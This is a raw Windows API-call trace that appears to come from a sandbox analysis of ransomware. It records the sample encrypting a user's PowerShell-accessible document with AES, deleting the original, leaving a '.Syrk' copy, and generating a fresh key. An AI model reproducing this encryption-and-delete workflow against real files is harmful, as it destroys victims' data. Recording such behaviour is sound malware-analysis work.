[0229.487] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.488] EtwEventActivityIdControl () returned 0x0 [0229.488] EtwEventActivityIdControl () returned 0x0 [0229.488] EtwEventActivityIdControl () returned 0x0 [0229.489] EtwEventActivityIdControl () returned 0x0 [0229.489] ReadFile (in: hFile=0x454, lpBuffer=0x253ab04, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x253ab04*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0229.587] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x254eb1c*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x254eb1c*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0229.588] WriteFile (in: hFile=0x458, lpBuffer=0x2536c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2536c78*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0229.590] WriteFile (in: hFile=0x458, lpBuffer=0x254fb08*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x254fb08*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0229.591] ReadFile (in: hFile=0x454, lpBuffer=0x253ab04, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x253ab04*, lpNumberOfBytesRead=0x5a2e7d8*=0x2fd8, lpOverlapped=0x0) returned 1 [0229.599] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2373360*, pdwDataLen=0x5a2e7cc*=0x2fd0, dwBufLen=0x2fd0 | out: pbData=0x2373360*, pdwDataLen=0x5a2e7cc*=0x2fd0) returned 1 [0229.600] WriteFile (in: hFile=0x458, lpBuffer=0x2373360*, nNumberOfBytesToWrite=0x2fd0, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2373360*, lpNumberOfBytesWritten=0x5a2e7b0*=0x2fd0, lpOverlapped=0x0) returned 1 [0229.600] ReadFile (in: hFile=0x454, lpBuffer=0x235f354, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x235f354*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0229.607] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2376348*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2376348*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0229.607] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2376364*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2376364*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0229.607] WriteFile (in: hFile=0x458, lpBuffer=0x235def0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x235def0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0229.607] CloseHandle (hObject=0x458) returned 1 [0229.610] CloseHandle (hObject=0x454) returned 1 [0229.611] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.611] EtwEventActivityIdControl () returned 0x0 [0229.611] EtwEventActivityIdControl () returned 0x0 [0229.611] EtwEventActivityIdControl () returned 0x0 [0229.617] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 0x20 [0229.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0229.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0229.620] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0229.620] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0229.620] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0229.620] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0229.620] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0229.620] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0229.620] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0229.620] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0229.621] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0229.621] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0229.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0229.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0229.621] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0229.621] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0229.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0229.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0229.622] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 0x20 [0229.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0229.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0229.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0229.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0229.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0229.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0229.625] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0229.625] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0229.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0229.625] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0229.625] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0229.625] CoTaskMemFree (pv=0x5c9a950) [0229.627] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 0x20 [0229.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0229.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0229.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0229.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2380e3c | out: lpFileInformation=0x2380e3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98753920, ftCreationTime.dwHighDateTime=0x1d98092, ftLastAccessTime.dwLowDateTime=0x2c1f25a0, ftLastAccessTime.dwHighDateTime=0x1d9947a, ftLastWriteTime.dwLowDateTime=0x2c1f25a0, ftLastWriteTime.dwHighDateTime=0x1d9947a, nFileSizeHigh=0x0, nFileSizeLow=0x16fd8)) returned 1 [0229.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0229.628] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 1 [0229.727] EtwEventActivityIdControl () returned 0x0 [0229.727] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.727] EtwEventActivityIdControl () returned 0x0 [0229.727] EtwEventActivityIdControl () returned 0x0 [0229.727] EtwEventActivityIdControl () returned 0x0 [0229.734] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx.syrk")) returned 0x20 [0229.735] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx.syrk")) returned 0x20 [0229.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0229.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk", lpFilePart=0x0) returned 0x2b [0229.736] EtwEventActivityIdControl () returned 0x0 [0229.736] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.737] EtwEventActivityIdControl () returned 0x0 [0229.737] EtwEventActivityIdControl () returned 0x0 [0229.737] EtwEventActivityIdControl () returned 0x0 [0229.743] EtwEventActivityIdControl () returned 0x0 [0229.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.744] EtwEventActivityIdControl () returned 0x0 [0229.744] EtwEventActivityIdControl () returned 0x0 [0229.744] EtwEventActivityIdControl () returned 0x0 [0229.748] EtwEventActivityIdControl () returned 0x0 [0229.748] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.748] EtwEventActivityIdControl () returned 0x0 [0229.748] EtwEventActivityIdControl () returned 0x0 [0229.748] EtwEventActivityIdControl () returned 0x0 [0229.752] EtwEventActivityIdControl () returned 0x0 [0229.752] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.753] EtwEventActivityIdControl () returned 0x0 [0229.753] EtwEventActivityIdControl () returned 0x0 [0229.753] EtwEventActivityIdControl () returned 0x0 [0229.756] EtwEventActivityIdControl () returned 0x0 [0229.790] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.790] EtwEventActivityIdControl () returned 0x0 [0229.790] EtwEventActivityIdControl () returned 0x0 [0229.790] EtwEventActivityIdControl () returned 0x0 [0229.794] EtwEventActivityIdControl () returned 0x0 [0229.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0229.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x238a084 | out: lpFileInformation=0x238a084*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c45ae0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x4c45ae0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x4d765e0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x16ff4)) returned 1 [0229.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0229.799] GetConsoleOutputCP () returned 0x1b5 [0229.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.800] GetConsoleOutputCP () returned 0x1b5 [0229.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.800] GetConsoleOutputCP () returned 0x1b5 [0229.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.800] GetConsoleOutputCP () returned 0x1b5 [0229.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.801] GetConsoleOutputCP () returned 0x1b5 [0229.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.801] GetConsoleOutputCP () returned 0x1b5 [0229.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.801] GetConsoleOutputCP () returned 0x1b5 [0229.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.801] GetConsoleOutputCP () returned 0x1b5 [0229.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.802] GetConsoleOutputCP () returned 0x1b5 [0229.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.802] GetConsoleOutputCP () returned 0x1b5 [0229.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.802] GetConsoleOutputCP () returned 0x1b5 [0229.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.802] GetConsoleOutputCP () returned 0x1b5 [0229.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.803] GetConsoleOutputCP () returned 0x1b5 [0229.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.803] GetConsoleOutputCP () returned 0x1b5 [0229.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.803] GetConsoleOutputCP () returned 0x1b5 [0229.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.803] GetConsoleOutputCP () returned 0x1b5 [0229.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.804] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0229.804] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0229.804] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23a426c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23a426c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0229.805] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0229.805] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0229.806] EtwEventActivityIdControl () returned 0x0 [0229.806] EtwEventActivityIdControl () returned 0x0 [0229.807] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.807] EtwEventActivityIdControl () returned 0x0 [0229.807] EtwEventActivityIdControl () returned 0x0 [0229.807] EtwEventActivityIdControl () returned 0x0 [0229.809] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.809] EtwEventActivityIdControl () returned 0x0 [0229.809] EtwEventActivityIdControl () returned 0x0 [0229.809] EtwEventActivityIdControl () returned 0x0 [0229.812] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0229.814] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c999e0) returned 1 [0229.814] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0229.814] CryptExportKey (in: hKey=0x5c999e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0229.814] CryptExportKey (in: hKey=0x5c999e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23abe94, pdwDataLen=0x5a2e8c4 | out: pbData=0x23abe94*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0229.815] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.816] EtwEventActivityIdControl () returned 0x0 [0229.816] EtwEventActivityIdControl () returned 0x0 [0229.816] EtwEventActivityIdControl () returned 0x0 [0229.817] SysStringLen (param_1="") returned 0x8 [0229.817] SysStringLen (param_1="C") returned 0x8 [0229.817] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.817] SysStringLen (param_1="\竘떖㺷萄鑪㍅쾫∞) returned 0x8 [0229.817] SysStringLen (param_1="\竘떖㺷萄鑪㍅쾫∞) returned 0x8 [0229.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.817] SysStringLen (param_1="Ck") returned 0x8 [0229.817] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.817] SysStringLen (param_1="火륅橐㥪ᅶ㉄") returned 0x8 [0229.817] SysStringLen (param_1="火륅橐㥪ᅶ㉄") returned 0x8 [0229.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.818] SysStringLen (param_1="CkR") returned 0x8 [0229.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.818] SysStringLen (param_1="ඖ擩ꉐ\篝㴟㌩䱥∱) returned 0x8 [0229.818] SysStringLen (param_1="ඖ擩ꉐ\篝㴟㌩䱥∱) returned 0x8 [0229.818] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.818] SysStringLen (param_1="CkRg") returned 0x8 [0229.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.818] SysStringLen (param_1="嬖﨣䞗啵⬗Ԃ") returned 0x8 [0229.818] SysStringLen (param_1="嬖﨣䞗啵⬗Ԃ") returned 0x8 [0229.818] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.819] SysStringLen (param_1="CkRgd") returned 0x8 [0229.819] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.819] SysStringLen (param_1="꺨\槛㇣൧ꯎꬤ≼) returned 0x8 [0229.819] SysStringLen (param_1="꺨\槛㇣൧ꯎꬤ≼) returned 0x8 [0229.819] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.819] SysStringLen (param_1="CkRgdl") returned 0x8 [0229.819] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.819] SysStringLen (param_1="▼\쫙Vれ賡唝⋽) returned 0x8 [0229.819] SysStringLen (param_1="▼\쫙Vれ賡唝⋽) returned 0x8 [0229.819] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.820] SysStringLen (param_1="CkRgdll") returned 0x8 [0229.820] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.820] SysStringLen (param_1="灉썫㱀綰瞿鱃﵉") returned 0x8 [0229.820] SysStringLen (param_1="灉썫㱀綰瞿鱃﵉") returned 0x8 [0229.820] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.820] SysStringLen (param_1="CkRgdllX") returned 0x8 [0229.820] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.820] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺") returned 0x8 [0229.821] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺") returned 0x8 [0229.821] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺") returned 0x8 [0229.821] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺") returned 0x10 [0229.821] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.821] SysStringLen (param_1="CkRgdllX8㮕狃⥪ꠟ똰赁") returned 0x10 [0229.821] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.822] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺ꋎ骬䠯첒啎ඁ") returned 0x10 [0229.822] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺ꋎ骬䠯첒啎ඁ") returned 0x10 [0229.822] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.822] SysStringLen (param_1="CkRgdllX86㮕狃⥪ꠟ똰赁") returned 0x10 [0229.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.822] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺⨎骉₺連褉鍄桖꿧") returned 0x10 [0229.822] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺⨎骉₺連褉鍄桖꿧") returned 0x10 [0229.822] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.822] SysStringLen (param_1="CkRgdllX86T狃⥪ꠟ똰赁") returned 0x10 [0229.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.822] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺鏖䍋鈂松荚嗑审") returned 0x10 [0229.823] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺鏖䍋鈂松荚嗑审") returned 0x10 [0229.823] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.823] SysStringLen 